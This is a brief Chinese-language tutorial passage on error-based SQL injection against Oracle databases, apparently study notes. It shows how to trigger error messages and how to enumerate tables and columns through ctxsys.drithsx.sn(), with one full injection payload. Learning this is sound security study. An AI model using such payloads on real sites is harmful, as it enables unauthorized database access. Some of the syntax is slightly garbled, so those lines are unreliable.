其原理在于在网页报错得到一个数据信息来进行注入:
先看以下不同:
Dual Oracle中的系统表
rownum=1 与limit相似
and table name<>‘ADMIN’ 暂时理解为排除某个表或者字段
使用 ?id=1’ 产生报错信息
使用 ctxsys.brithsx.sn() 进行报错注入
查询库名
查询表名
把admin排除查询第二个表,同样的把查询出来的NEWS排除得到第三个字段在后面加上语句:
and table_name<>‘ADMIN’ and table_name<>‘NEWS’
查询字段:
查询第一个字段
?id=-1' and 1=ctxsys.drithsx.sn(1,(select_column_name from user_tab_columns where table_name='字段名1' and rownum=1))
查询第N个字段